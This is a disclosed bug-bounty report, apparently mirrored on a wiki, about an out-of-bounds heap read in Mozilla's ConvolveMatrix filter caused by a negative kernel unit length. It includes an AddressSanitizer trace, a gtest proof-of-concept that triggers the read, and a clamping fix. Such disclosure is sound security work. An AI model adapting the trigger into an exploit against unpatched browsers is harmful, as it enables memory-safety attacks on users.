ConvolveMatrix OOB Heap Read via Negative kernelUnitLength
The ConvolveMatrix filter stored a negative kernel unit length without validation, so the source rectangle was deflated rather than inflated and the convolution loop sampled pixels before the start of the buffer. An attacker could trigger an out-of-bounds heap read in the graphics code, which the report demonstrates only under AddressSanitizer in a test harness.
Originally disclosed on Mozilla
- Fixed in 22 days
- Paid in 49 days
- Disclosed after 22 days
Compromised content process -> GPU process via CanvasTranslator replay.
FilterNodeConvolveMatrixSoftware::SetAttribute (FilterNodeSoftware.cpp:2240) stores mKernelUnitLength with no validation. Negative values cause InflatedSourceRect (line 2533) to compute negative margins, deflating the source rect instead of inflating it. The subsequent Inflate(1) at line 2454 partially compensates but leaves zero net margin. ConvolvePixel then reads out-of-bounds via ColorComponentAtPoint's raw pointer arithmetic — the bounds check (DebugOnlyCheckColorSamplingAccess) is a no-op in release builds.
Distinct from the ConvolveMatrix kernel size integer overflow (separate bug). Here the kernel size is valid (3x3) but the kernel unit length is negative.
The Bug
FilterNodeSoftware.cpp:2228-2233:
void FilterNodeConvolveMatrixSoftware::SetAttribute(uint32_t aIndex,
const Size& aKernelUnitLength) {
mKernelUnitLength = aKernelUnitLength; // NO VALIDATION
}
With kernelUnitLength = Size(-1.0, -1.0), kernel 3x3, target (1,1), InflatedSourceRect computes ceil(1 * -1.0) = -1 for all margins. Inflate(IntMargin(-1,-1,-1,-1)) deflates by 1, then Inflate(1) re-inflates by 1. Net extra inflation: zero.
ConvolvePixel (line 2358) then samples at sampleX = 0 + (2-1)*(-1) = -1, giving aData[-1*stride + 4*(-1) + c] — raw pointer arithmetic before the buffer.
ASAN Proof
==83101==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000633c3e
READ of size 1 at 0x612000633c3e thread T0
#0 FilterNodeConvolveMatrixSoftware::DoRender<int>()+0x1548
allocated by thread T0 here:
#0 calloc
#1 SourceSurfaceAlignedRawData::Init()
#2 Factory::CreateDataSourceSurface()
SUMMARY: AddressSanitizer: heap-buffer-overflow in FilterNodeConvolveMatrixSoftware::DoRender<int>()
PoC
gfx/tests/gtest/TestConvolveMatrixNegKUL.cpp:
/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* vim: set ts=8 sts=2 et sw=2 tw=80: */
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
#include "gtest/gtest.h"
#include "2D.h"
#include "Filters.h"
#include "FilterNodeSoftware.h"
using namespace mozilla;
using namespace mozilla::gfx;
TEST(ConvolveMatrixNegKUL, NegativeKernelUnitLength)
{
RefPtr<DrawTarget> dt = Factory::CreateDrawTarget(
BackendType::SKIA, IntSize(8, 8), SurfaceFormat::B8G8R8A8);
if (!dt) {
return;
}
RefPtr<FilterNode> filter = dt->CreateFilter(FilterType::CONVOLVE_MATRIX);
ASSERT_TRUE(filter);
filter->SetAttribute(ATT_CONVOLVE_MATRIX_KERNEL_SIZE, IntSize(3, 3));
Float kernel[9] = {1, 1, 1, 1, 1, 1, 1, 1, 1};
filter->SetAttribute(ATT_CONVOLVE_MATRIX_KERNEL_MATRIX, kernel, (uint32_t)9);
filter->SetAttribute(ATT_CONVOLVE_MATRIX_DIVISOR, 9.0f);
filter->SetAttribute(ATT_CONVOLVE_MATRIX_BIAS, 1.0f);
filter->SetAttribute(ATT_CONVOLVE_MATRIX_TARGET, IntPoint(1, 1));
filter->SetAttribute(ATT_CONVOLVE_MATRIX_RENDER_RECT, IntRect(0, 0, 8, 8));
filter->SetAttribute(ATT_CONVOLVE_MATRIX_EDGE_MODE,
(uint32_t)EDGE_MODE_NONE);
filter->SetAttribute(ATT_CONVOLVE_MATRIX_PRESERVE_ALPHA, false);
// Negative kernel unit length: the root cause.
filter->SetAttribute(ATT_CONVOLVE_MATRIX_KERNEL_UNIT_LENGTH,
Size(-1.0f, -1.0f));
RefPtr<DataSourceSurface> inputSurface =
Factory::CreateDataSourceSurface(IntSize(8, 8),
SurfaceFormat::B8G8R8A8, true);
ASSERT_TRUE(inputSurface);
filter->SetInput(IN_CONVOLVE_MATRIX_IN, inputSurface);
// ASAN: heap-buffer-overflow READ
dt->DrawFilter(filter, Rect(0, 0, 8, 8), Point(0, 0), DrawOptions());
}
Run: ./mach gtest "ConvolveMatrixNegKUL.*"
Fix
Clamp kernelUnitLength to positive values in SetAttribute:
mKernelUnitLength.width = std::max(aKernelUnitLength.width, 1.0f);
mKernelUnitLength.height = std::max(aKernelUnitLength.height, 1.0f);
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The filter's SetAttribute stored the kernel unit length without checking it was positive, so negative values produced negative margins and out-of-bounds sampling.
Impact
The report shows a heap out-of-bounds read detected by AddressSanitizer in a test build; it does not demonstrate exploitation in a shipped browser, and the title suggests a compromised content process reaching the GPU process via CanvasTranslator replay.
What the attacker needed
Ability to supply filter attributes; release builds skip the bounds check
The fix
The kernel unit length should be clamped to positive values in SetAttribute.
How it was found
- Create a draw target and a ConvolveMatrix filter on it.
- Set a valid 3x3 kernel, divisor, bias, target, render rect, edge mode and preserve-alpha.
- Set the kernel unit length to a negative size.
- Attach an input surface and draw the filter, which reads out of bounds under AddressSanitizer.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A filter that blurs or sharpens an image works out how far around each pixel it needs to look, and normally pads the image so those lookups stay inside it. Here a setting that says how far apart samples are was allowed to be negative, which shrank the padding instead of growing it. The code then read memory just before the image buffer, which is a memory safety bug.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.